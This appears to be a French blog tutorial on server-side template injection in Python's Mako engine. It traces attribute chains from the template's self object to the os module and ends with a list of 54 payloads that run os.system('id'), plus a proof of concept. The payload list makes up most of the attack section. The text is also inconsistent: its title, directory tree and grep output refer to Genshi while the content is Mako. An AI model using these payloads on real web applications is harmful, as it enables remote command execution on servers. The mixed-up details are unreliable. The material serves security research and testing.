Python context-free payloads pour les templates Genshi

Table des matières :

Introduction

Phase de reconaissance

La première étape est d’aller chercher des éléments intéressants dans le code source du module. Pour ce faire, il faut installer Mako (python3 -m pip install mako), et taper les lignes suivantes dans un interpréteur Python pour obtenir l’emplacement du module :

# Python 3.10.0rc1 (default, Aug 17 2021, 15:17:02) [GCC 10.2.1 20210110] on linux
# Type "help", "copyright", "credits" or "license" for more information.
>>> import mako
>>> mako.__file__
'/usr/local/lib/python3.10/site-packages/mako/__init__.py'
>>>

Le module Python comporte très peu de fichiers et est organisé de la manière suivante :

genshi/
  ├── __init__.py
  ├── _speedups.c
  ├── builder.py
  ├── compat.py
  ├── core.py
  ├── filters
  │   ├── __init__.py
  │   ├── html.py
  │   ├── i18n.py
  │   ├── tests
  │   │   ├── __init__.py
  │   │   ├── i18n.py
  │   │   ├── test_html.py
  │   │   └── transform.py
  │   └── transform.py
  ├── input.py
  ├── output.py
  ├── path.py
  ├── template
  │   ├── __init__.py
  │   ├── astutil.py
  │   ├── base.py
  │   ├── directives.py
  │   ├── eval.py
  │   ├── interpolation.py
  │   ├── loader.py
  │   ├── markup.py
  │   ├── plugin.py
  │   ├── tests
  │   │   ├── __init__.py
  │   │   ├── base.py
  │   │   ├── directives.py
  │   │   ├── eval.py
  │   │   ├── interpolation.py
  │   │   ├── loader.py
  │   │   ├── markup.py
  │   │   ├── plugin.py
  │   │   ├── templates
  │   │   │   ├── __init__.py
  │   │   │   ├── functions.html
  │   │   │   ├── functions.txt
  │   │   │   ├── new_syntax.txt
  │   │   │   ├── test.html
  │   │   │   ├── test.txt
  │   │   │   └── test_no_doctype.html
  │   │   └── text.py
  │   └── text.py
  ├── tests
  │   ├── __init__.py
  │   ├── builder.py
  │   ├── core.py
  │   ├── input.py
  │   ├── output.py
  │   ├── path.py
  │   ├── test_utils.py
  │   └── util.py
  └── util.py

Elements intéressants

Notre but étant de trouver dans quels fichiers est importé le module os, on va utiliser la commande suivante:

root@2daed9820658:/# grep -r 'import os' /usr/local/lib/python3.10/site-packages/genshi/template/
/usr/local/lib/python3.10/site-packages/genshi/template/interpolation.py:import os
/usr/local/lib/python3.10/site-packages/genshi/template/loader.py:import os
/usr/local/lib/python3.10/site-packages/genshi/template/tests/eval.py:import os
/usr/local/lib/python3.10/site-packages/genshi/template/tests/text.py:import os
/usr/local/lib/python3.10/site-packages/genshi/template/tests/plugin.py:import os
/usr/local/lib/python3.10/site-packages/genshi/template/tests/loader.py:import os
/usr/local/lib/python3.10/site-packages/genshi/template/tests/markup.py:import os
/usr/local/lib/python3.10/site-packages/genshi/template/base.py:import os

Ils nous serviront par la suite pour créer des chemins directs vers le module os depuis l’objet TemplateNamespace.

Exploration des chemins dans le module Mako

TemplateNamespace

Pour construire cette payload, nous allons partir de l’objet TemplateNamespace et essayer de connecter les chemins à ces modules via les objets Python.

>>> from mako.template import Template
>>> print(Template("${self}").render())
<mako.runtime.TemplateNamespace object at 0x7f1174fcac50>
>>>

La première chose que nous pouvons remarquer c’est que l’objet TemplateNamespace est déclaré dans le sousmodule mako.runtime (fichier runtime.py). Allons donc voir le début de ce fichier pour trouver les import intéressants :

Un premier chemin vers os depuis TemplateNamespace

# mako/runtime.py
# Copyright 2006-2020 the Mako authors and contributors <see AUTHORS file>
#
# This module is part of Mako and is released under
# the MIT License: http://www.opensource.org/licenses/mit-license.php

"""provides runtime services for templates, including Context,
Namespace, and various helper functions."""

import functools
import sys

from mako import compat
from mako import exceptions
from mako import util
from mako.compat import compat_builtins

Voilà des résultats très intéressants ! Nous avons accès au sousmodule util (fichier util.py) dans le sousmodule runtime. Or nous avons vu plus haut que le module os est importé dans le fichier util.py. Nous allons donc y accéder en deux étapes.

Première étape, accéder au sous module util. Pour ce faire nous allons utiliser la technique du .__init__.__globals__. Nous partons de l’instance self de l’objet TemplateNamespace puis nous remontons à son constructeur self.__init__. Ensuite a partir du constructeur, nous allons remonter au dictionnaire __globals__ contenant toutes les variables globales du fichier (et par conséquent les modules importés). Il nous suffit ensuite d’accéder à la clé 'util' des __globals__ et nous arrivons dans le module util. Enfin il ne nous reste plus qu’a faire un ['util'].os pour accéder au module os de ce sous module. La payload finale devient donc :

>>> print(Template("${self.__init__.__globals__['util'].os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>

Ce chemin vers os était le plus évident à trouver, mais nous pouvons en trouver d’autres !

Introspection sur TemplateNamespace

Pour aller plus loin et trouver de nouveaux chemins, nous devons lister les attributs de self:

>>> print(Template("${f(self)}").render(f=dir))
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__getattr__', '__getattribute__', '__gt__', '__hash__', '__init__',
'__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__',
'__subclasshook__', '__weakref__', '_get_star', '_populate', '_templateuri', 'attr',
'cache', 'callables', 'context', 'filename', 'get_cached', 'get_namespace', 'get_template',
'include_file', 'inherits', 'module', 'name', 'template', 'uri']

Nous allons itérer sur les attributs de l’objet pour afficher son nom et son type à chaque fois. Pour ce faire il faut utiliser ces quelques lignes de python, permettant de regénérer une template à chaque fois et d’afficher son résultat:

subkeys = [
    '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__',
    '__ge__', '__getattr__', '__getattribute__', '__gt__', '__hash__', '__init__',
    '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__',
    '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__',
    '__subclasshook__', '__weakref__', '_get_star', '_populate', '_templateuri', 'attr',
    'cache', 'callables', 'context', 'filename', 'get_cached', 'get_namespace', 'get_template',
    'include_file', 'inherits', 'module', 'name', 'template', 'uri'
]

for subkey in subkeys:
    try:
        print(Template("%s => ${f(self.%s)}" % (subkey, subkey)).render(f=type))
    except Exception as e:
        pass

Et nous obtenons :

__class__ => <class 'type'>
__delattr__ => <class 'method-wrapper'>
__dict__ => <class 'dict'>
__dir__ => <class 'builtin_function_or_method'>
__doc__ => <class 'str'>
__eq__ => <class 'method-wrapper'>
__format__ => <class 'builtin_function_or_method'>
__ge__ => <class 'method-wrapper'>
__getattr__ => <class 'method'>
__getattribute__ => <class 'method-wrapper'>
__gt__ => <class 'method-wrapper'>
__hash__ => <class 'method-wrapper'>
__init__ => <class 'method'>
__init_subclass__ => <class 'builtin_function_or_method'>
__le__ => <class 'method-wrapper'>
__lt__ => <class 'method-wrapper'>
__module__ => <class 'str'>
__ne__ => <class 'method-wrapper'>
__new__ => <class 'builtin_function_or_method'>
__reduce__ => <class 'builtin_function_or_method'>
__reduce_ex__ => <class 'builtin_function_or_method'>
__repr__ => <class 'method-wrapper'>
__setattr__ => <class 'method-wrapper'>
__sizeof__ => <class 'builtin_function_or_method'>
__str__ => <class 'method-wrapper'>
__subclasshook__ => <class 'builtin_function_or_method'>
__weakref__ => <class 'NoneType'>
_get_star => <class 'method'>
_populate => <class 'method'>
_templateuri => <class 'str'>
attr => <class 'mako.runtime._NSAttr'>
callables => <class 'tuple'>
context => <class 'mako.runtime.Context'>
filename => <class 'NoneType'>
get_cached => <class 'method'>
get_namespace => <class 'method'>
get_template => <class 'method'>
include_file => <class 'method'>
inherits => <class 'NoneType'>
module => <class 'module'>
name => <class 'str'>
template => <class 'mako.template.Template'>
uri => <class 'str'>

Quelques lignes semblent particulièrement intéressantes :

attr => <class 'mako.runtime._NSAttr'>
context => <class 'mako.runtime.Context'>
module => <class 'module'>
template => <class 'mako.template.Template'>

Pour l’attribut attr, nous savons qu’il se situe dans le sousmodule mako.runtime qui contient un import vers le sous module mako.util qui luimême importe os. Nous pouvons donc y accéder directement comme ceci:

>>> print(Template("${self.attr.__init__.__globals__['util'].os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>

De la même manière pour l’attribut context situé dans le même sousmodule mako.runtime :

>>> print(Template("${self.context.__init__.__globals__['util'].os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>

En répétant l’opération sur chaque attribut et ses sous attributs nous pouvons trouver une grande quantité de chemins vers os !

Payloads finales

En explorant tous les atttributs sur une profondeur de 8 niveaux au maximum, j’ai pu trouver 54 accès directs au module os dans Mako, permettant d’y accéder à tous les coups. Les voici :

${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}

En voici la preuve de concept :

# Python 3.10.0rc1 (default, Aug 17 2021, 15:17:02) [GCC 10.2.1 20210110] on linux
# Type "help", "copyright", "credits" or "license" for more information.
>>> from mako.template import Template
>>> print(Template("${self.module.cache.util.os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>
>>>

Références